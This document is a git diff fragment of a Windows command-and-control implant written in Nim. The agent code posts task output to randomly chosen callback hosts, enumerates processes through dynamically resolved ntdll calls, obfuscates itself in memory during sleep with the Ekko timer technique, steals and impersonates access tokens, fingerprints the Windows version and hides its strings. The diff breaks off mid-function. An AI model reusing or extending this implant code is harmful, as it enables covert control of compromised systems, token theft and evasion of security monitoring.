|
||||
@@ -62,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
if responseBody.len() <= 0:
|
||||
return ""
|
||||
|
||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||
let
|
||||
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
||||
of protect("base64"):
|
||||
return decode(encResponse)
|
||||
of protect("none"):
|
||||
return encResponse
|
||||
# Reverse data transformation
|
||||
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
@@ -88,24 +68,42 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
for header in ctx.profile.getTableKeys(protect("http-post.agent.headers")):
|
||||
client.headers.add(header.key, header.value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1]
|
||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||
|
||||
let body = Bytes.toString(data)
|
||||
# Apply data transformation
|
||||
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
|
||||
var body: string = ""
|
||||
|
||||
# Add task result to the request
|
||||
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
||||
of protect("header"):
|
||||
client.headers.add(ctx.profile.getString(protect("http-post.agent.output.placement.name")), payload)
|
||||
of protect("query"):
|
||||
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
|
||||
endpoint &= fmt"{param}={payload}&"
|
||||
of protect("body"):
|
||||
body = payload # Set the request body to the "prefix & task output & suffix" construct
|
||||
else:
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param in ctx.profile.getTableKeys(protect("http-post.agent.parameters")):
|
||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
# Send post request to team server
|
||||
# Select random callback host
|
||||
let hosts = ctx.hosts.split(";")
|
||||
let host = hosts[rand(hosts.len() - 1)]
|
||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||
discard waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", requestMethod, body)
|
||||
|
||||
except CatchableError as err:
|
||||
print "[-] ", err.msg
|
||||
|
||||
102
src/agent/core/process.nim
Normal file
102
src/agent/core/process.nim
Normal file
@@ -0,0 +1,102 @@
|
||||
import winim/lean
|
||||
import tables
|
||||
import ../utils/io
|
||||
import ../../common/utils
|
||||
import token
|
||||
|
||||
type
|
||||
ProcessInfo* = object
|
||||
pid*: DWORD
|
||||
ppid*: DWORD
|
||||
name*: string
|
||||
user*: string
|
||||
session*: ULONG
|
||||
children*: seq[DWORD]
|
||||
|
||||
NtQuerySystemInformation = proc(systemInformationClass: SYSTEM_INFORMATION_CLASS, systemInformation: PVOID, systemInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
|
||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
|
||||
|
||||
proc cmp*(x, y: ProcessInfo): int =
|
||||
return cmp(x.pid, y.pid)
|
||||
|
||||
#[
|
||||
Retrieve snapshot of all currently running processes using NtQuerySystemInformation
|
||||
]#
|
||||
proc processSnapshot*(): PSYSTEM_PROCESS_INFORMATION =
|
||||
var
|
||||
pSystemProcInfo: PSYSTEM_PROCESS_INFORMATION
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
|
||||
let pNtQuerySystemInformation = cast[NtQuerySystemInformation](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQuerySystemInformation")))
|
||||
|
||||
# Retrieve returnLength and allocate sufficient memory
|
||||
discard pNtQuerySystemInformation(systemProcessInformation, NULL, 0, addr returnLength)
|
||||
pSystemProcInfo = cast[PSYSTEM_PROCESS_INFORMATION](LocalAlloc(LMEM_FIXED, returnLength))
|
||||
if pSystemProcInfo == NULL:
|
||||
raise newException(CatchableError, "1.2" & GetLastError().getError())
|
||||
|
||||
# Retrieve system process information
|
||||
status = pNtQuerySystemInformation(systemProcessInformation, cast[PVOID](pSystemProcInfo), returnLength, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "b" & status.getNtError())
|
||||
|
||||
return pSystemProcInfo
|
||||
|
||||
#[
|
||||
Retrieve information about running processes
|
||||
]#
|
||||
proc processList*(): Table[DWORD, ProcessInfo] =
|
||||
result = initTable[DWORD, ProcessInfo]()
|
||||
|
||||
# Take a snapshot of running processes
|
||||
var sysProcessInfo = processSnapshot()
|
||||
defer: LocalFree(cast[HLOCAL](sysProcessInfo))
|
||||
|
||||
let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
|
||||
let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
|
||||
let pNtClose = cast[NtClose](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtClose")))
|
||||
|
||||
while true:
|
||||
var
|
||||
status: NTSTATUS
|
||||
hToken: HANDLE = 0
|
||||
hProcess: HANDLE = 0
|
||||
oa: OBJECT_ATTRIBUTES
|
||||
clientId: CLIENT_ID
|
||||
|
||||
var
|
||||
pid = cast[DWORD](sysProcessInfo.UniqueProcessId)
|
||||
ppid = cast[DWORD](sysProcessInfo.InheritedFromUniqueProcessId)
|
||||
|
||||
# Retrieve process information
|
||||
result[pid] = ProcessInfo(
|
||||
pid: pid,
|
||||
ppid: ppid,
|
||||
name: $sysProcessInfo.ImageName.Buffer,
|
||||
session: sysProcessInfo.SessionId,
|
||||
children: @[]
|
||||
)
|
||||
|
||||
# Retrieve user context
|
||||
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
|
||||
clientId.UniqueProcess = cast[HANDLE](pid)
|
||||
clientId.UniqueThread = 0
|
||||
|
||||
status = pNtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
||||
if status == STATUS_SUCCESS and hProcess != 0:
|
||||
status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
|
||||
if status == STATUS_SUCCESS and hToken != 0:
|
||||
result[pid].user = hToken.getTokenUser().username
|
||||
discard pNtClose(hToken)
|
||||
else:
|
||||
result[pid].user = ""
|
||||
discard pNtClose(hProcess)
|
||||
|
||||
# Move to next process
|
||||
if sysProcessInfo.NextEntryOffset == 0:
|
||||
break
|
||||
|
||||
sysProcessInfo = cast[PSYSTEM_PROCESS_INFORMATION](cast[ULONG_PTR](sysProcessInfo) + sysProcessInfo.NextEntryOffset)
|
||||
@@ -37,7 +37,7 @@ type
|
||||
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
|
||||
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
|
||||
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PVOID, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
|
||||
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
|
||||
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
|
||||
@@ -168,13 +168,13 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
|
||||
# Retrieve the initial thread context
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](RtlCaptureContext), addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](SetEvent), cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
@@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
||||
img.Length = imageSize
|
||||
|
||||
# Generate random encryption key
|
||||
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
||||
var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4))
|
||||
key.Buffer = addr keyBuffer
|
||||
key.Length = cast[DWORD](keyBuffer.len())
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import winim/lean
|
||||
import strformat
|
||||
import ../utils/io
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/utils
|
||||
|
||||
#[
|
||||
Token impersonation & manipulation
|
||||
@@ -61,7 +61,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
||||
status: NTSTATUS = 0
|
||||
hToken: HANDLE
|
||||
|
||||
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
|
||||
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to FALSE
|
||||
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
||||
@@ -70,12 +70,12 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
||||
|
||||
return hToken
|
||||
|
||||
proc sidToString(apis: Apis, sid: PSID): string =
|
||||
proc sidToString(sid: PSID, apis: Apis = initApis()): string =
|
||||
var stringSid: LPSTR
|
||||
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
||||
return $stringSid
|
||||
|
||||
proc sidToName(apis: Apis, sid: PSID): string =
|
||||
proc sidToName(sid: PSID): string =
|
||||
var
|
||||
usernameSize: DWORD = 0
|
||||
domainSize: DWORD = 0
|
||||
@@ -90,7 +90,7 @@ proc sidToName(apis: Apis, sid: PSID): string =
|
||||
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
|
||||
return ""
|
||||
|
||||
proc privilegeToString(apis: Apis, luid: PLUID): string =
|
||||
proc privilegeToString(luid: PLUID): string =
|
||||
var privSize: DWORD = 0
|
||||
|
||||
# Retrieve required size
|
||||
@@ -104,7 +104,7 @@ proc privilegeToString(apis: Apis, luid: PLUID): string =
|
||||
#[
|
||||
Retrieve and return information about an access token
|
||||
]#
|
||||
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
|
||||
proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId, tokenType: string] =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
@@ -120,7 +120,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
|
||||
|
||||
return (tokenId, tokenType)
|
||||
|
||||
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
||||
proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid: string] =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
@@ -139,9 +139,9 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||
return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid, apis))
|
||||
|
||||
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||
proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
@@ -153,7 +153,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||
|
||||
return cast[bool](pElevation.TokenIsElevated)
|
||||
|
||||
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||
proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
@@ -176,11 +176,11 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||
groupCount = pGroups.GroupCount
|
||||
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
|
||||
|
||||
result &= fmt"Group memberships ({groupCount})" & "\n"
|
||||
result &= protect("Group memberships (") & $groupCount & protect(")\n")
|
||||
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
|
||||
result &= fmt" - {sidToString(group.Sid, apis):<50} {sidToName(group.Sid)}" & "\n"
|
||||
|
||||
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||
proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
@@ -203,34 +203,34 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||
privCount = pPrivileges.PrivilegeCount
|
||||
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
|
||||
|
||||
result &= fmt"Privileges ({privCount})" & "\n"
|
||||
result &= protect("Privileges (") & $privCount & protect(")\n")
|
||||
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
|
||||
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
|
||||
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: protect("Enabled") else: protect("Disabled")
|
||||
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||
|
||||
|
||||
proc getTokenInfo*(hToken: HANDLE): string =
|
||||
let apis = initApis()
|
||||
|
||||
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
|
||||
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||
result &= fmt"Type: {tokenType}" & "\n"
|
||||
let (tokenId, tokenType) = getTokenStatistics(hToken, apis)
|
||||
result &= protect("TokenID: 0x") & tokenId & "\n"
|
||||
result &= protect("Type: ") & tokenType & "\n"
|
||||
|
||||
let (username, sid) = apis.getTokenUser(hToken)
|
||||
result &= fmt"User: {username}" & "\n"
|
||||
result &= fmt"SID: {sid}" & "\n"
|
||||
let (username, sid) = getTokenUser(hToken, apis)
|
||||
result &= protect("User: ") & username & "\n"
|
||||
result &= protect("SID: ") & sid & "\n"
|
||||
|
||||
let isElevated = apis.getTokenElevation(hToken)
|
||||
result &= fmt"Elevated: {$isElevated}" & "\n"
|
||||
let isElevated = getTokenElevation(hToken, apis)
|
||||
result &= protect("Elevated: ") & $isElevated & "\n"
|
||||
|
||||
result &= apis.getTokenGroups(hToken )
|
||||
result &= apis.getTokenPrivileges(hToken)
|
||||
result &= getTokenGroups(hToken, apis)
|
||||
result &= getTokenPrivileges(hToken, apis)
|
||||
|
||||
#[
|
||||
Impersonate token
|
||||
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
|
||||
]#
|
||||
proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||
proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) =
|
||||
var
|
||||
status: NTSTATUS
|
||||
qos: SECURITY_QUALITY_OF_SERVICE
|
||||
@@ -239,7 +239,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||
returnLength: ULONG = 0
|
||||
duplicated: bool = false
|
||||
|
||||
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
|
||||
if getTokenStatistics(hToken, apis).tokenType == protect("Primary"):
|
||||
# Create a duplicate impersonation token
|
||||
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
|
||||
qos.ImpersonationLevel = securityImpersonation
|
||||
@@ -308,9 +308,9 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: discard apis.NtClose(hToken)
|
||||
|
||||
apis.impersonate(hToken)
|
||||
impersonate(hToken, apis)
|
||||
|
||||
return apis.getTokenUser(hToken).username
|
||||
return getTokenUser(hToken, apis).username
|
||||
|
||||
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||
let apis = initApis()
|
||||
@@ -338,7 +338,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||
return fmt"{action} {privilegeToString(addr luid)}."
|
||||
|
||||
#[
|
||||
Steal the access token of a remote process and impersonate it
|
||||
@@ -375,6 +375,6 @@ proc stealToken*(pid: int): string =
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: discard apis.NtClose(hToken)
|
||||
|
||||
apis.impersonate(hToken)
|
||||
impersonate(hToken, apis)
|
||||
|
||||
return apis.getTokenUser(hToken).username
|
||||
return getTokenUser(hToken, apis).username
|
||||
@@ -19,7 +19,7 @@ proc main() =
|
||||
3. Register to the team server if not already connected
|
||||
4. Retrieve tasks via checkin request to a GET endpoint
|
||||
5. Execute task and post result
|
||||
6. If additional tasks have been fetched, go to 3.
|
||||
6. If additional tasks have been fetched, go to 6.
|
||||
7. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
while true:
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,4 +1,4 @@
|
||||
import winim, os, net, strutils, registry, zippy
|
||||
import winim, os, net, strutils, registry, zippy, strformat
|
||||
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
import ../../modules/manager
|
||||
@@ -69,90 +69,94 @@ proc getIPv4Address(): string =
|
||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version fingerprinting
|
||||
type
|
||||
ProductType = enum
|
||||
UNKNOWN = 0
|
||||
WORKSTATION = 1
|
||||
DC = 2
|
||||
SERVER = 3
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
dwBuildNumber: ULONG
|
||||
dwPlatformId: ULONG
|
||||
szCSDVersion: array[128, WCHAR]
|
||||
wServicePackMajor: USHORT
|
||||
wServicePackMinor: USHORT
|
||||
wSuiteMask: USHORT
|
||||
wProductType: UCHAR
|
||||
wReserved: UCHAR
|
||||
type
|
||||
OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
dwBuildNumber: ULONG
|
||||
dwPlatformId: ULONG
|
||||
szCSDVersion: array[128, WCHAR]
|
||||
wServicePackMajor: USHORT
|
||||
wServicePackMinor: USHORT
|
||||
wSuiteMask: USHORT
|
||||
wProductType: UCHAR
|
||||
wReserved: UCHAR
|
||||
|
||||
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
# Windows Version fingerprinting
|
||||
ProductType {.size: sizeof(uint8).} = enum
|
||||
UNKNOWN = "Unknown"
|
||||
WORKSTATION = "Workstation"
|
||||
DC = "Domain Controller"
|
||||
SERVER = "Server"
|
||||
|
||||
WindowsVersion = object
|
||||
major: DWORD
|
||||
minor: DWORD
|
||||
buildMin: DWORD # Minimum build number (0 = any)
|
||||
buildMax: DWORD # Maximum build number (0 = any)
|
||||
productType: ProductType
|
||||
name: string
|
||||
|
||||
let versions = [
|
||||
# Windows 11 / Server 2022+
|
||||
# WindowsVersion(major: 10, minor: 0, buildMin: 22631, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11 23H2")),
|
||||
# WindowsVersion(major: 10, minor: 0, buildMin: 22621, buildMax: 22630, productType: WORKSTATION, name: protect("Windows 11 22H2")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 22000, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 26100, buildMax: 0, productType: SERVER, name: protect("Windows Server 2025")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 20348, buildMax: 26099, productType: SERVER, name: protect("Windows Server 2022")),
|
||||
|
||||
# Windows 10 / Server 2016-2019
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 19041, buildMax: 19045, productType: WORKSTATION, name: protect("Windows 10 2004/20H2/21H1/21H2/22H2")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 19040, productType: WORKSTATION, name: protect("Windows 10 1809+")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 10240, buildMax: 17762, productType: WORKSTATION, name: protect("Windows 10")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 17763, productType: SERVER, name: protect("Windows Server 2019")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 14393, buildMax: 14393, productType: SERVER, name: protect("Windows Server 2016")),
|
||||
WindowsVersion(major: 10, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server (Unknown Build)")),
|
||||
|
||||
# Windows 8.x / Server 2012
|
||||
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8.1")),
|
||||
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012 R2")),
|
||||
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8")),
|
||||
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012")),
|
||||
|
||||
# Windows 7 / Server 2008 R2
|
||||
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 7")),
|
||||
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008 R2")),
|
||||
|
||||
# Windows Vista / Server 2008
|
||||
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows Vista")),
|
||||
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008")),
|
||||
|
||||
# Windows XP / Server 2003
|
||||
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP x64 Edition")),
|
||||
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2003")),
|
||||
WindowsVersion(major: 5, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP")),
|
||||
]
|
||||
|
||||
proc matchVersion(version: WindowsVersion, info: OSVersionInfoExW, productType: ProductType): bool =
|
||||
if info.dwMajorVersion != version.major or info.dwMinorVersion != version.minor:
|
||||
return false
|
||||
if productType != version.productType:
|
||||
return false
|
||||
if version.buildMin > 0 and info.dwBuildNumber < version.buildMin:
|
||||
return false
|
||||
if version.buildMax > 0 and info.dwBuildNumber > version.buildMax:
|
||||
return false
|
||||
return true
|
||||
|
||||
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
for version in versions:
|
||||
if version.matchVersion(info, if productType == DC: SERVER else: productType): # Process domain controllers as servers, otherwise they show up as unknown
|
||||
if productType == DC:
|
||||
return version.name & protect(" (Domain Controller)")
|
||||
else:
|
||||
return version.name
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return protect("Windows 11")
|
||||
else:
|
||||
return protect("Windows 10")
|
||||
# Unknown windows version, return as much information as possible
|
||||
return fmt"Windows {$int(info.dwMajorVersion)}.{$int(info.dwMinorVersion)} {$productType} (Build: {$int(info.dwBuildNumber)})"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return protect("Windows Server 2022")
|
||||
of 17763:
|
||||
return protect("Windows Server 2019")
|
||||
of 14393:
|
||||
return protect("Windows Server 2016")
|
||||
else:
|
||||
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return protect("Windows 8.1")
|
||||
else:
|
||||
return protect("Windows Server 2012 R2")
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return protect("Windows 8")
|
||||
else:
|
||||
return protect("Windows Server 2012")
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return protect("Windows 7")
|
||||
else:
|
||||
return protect("Windows Server 2008 R2")
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return protect("Windows Vista")
|
||||
else:
|
||||
return protect("Windows Server 2008")
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return protect("Windows XP x64 Edition")
|
||||
else:
|
||||
return protect("Windows Server 2003")
|
||||
elif minor == 1:
|
||||
return protect("Windows XP")
|
||||
else:
|
||||
discard
|
||||
|
||||
return protect("Unknown Windows Version")
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
|
||||
@@ -256,9 +256,37 @@ proc BeaconRevertToken(): void {.stdcall.} =
|
||||
RevertToSelf()
|
||||
|
||||
# BOOL BeaconIsAdmin();
|
||||
type
|
||||
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
|
||||
proc BeaconIsAdmin(): BOOL {.stdcall.}=
|
||||
# Not implemented
|
||||
return FALSE
|
||||
let
|
||||
hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
||||
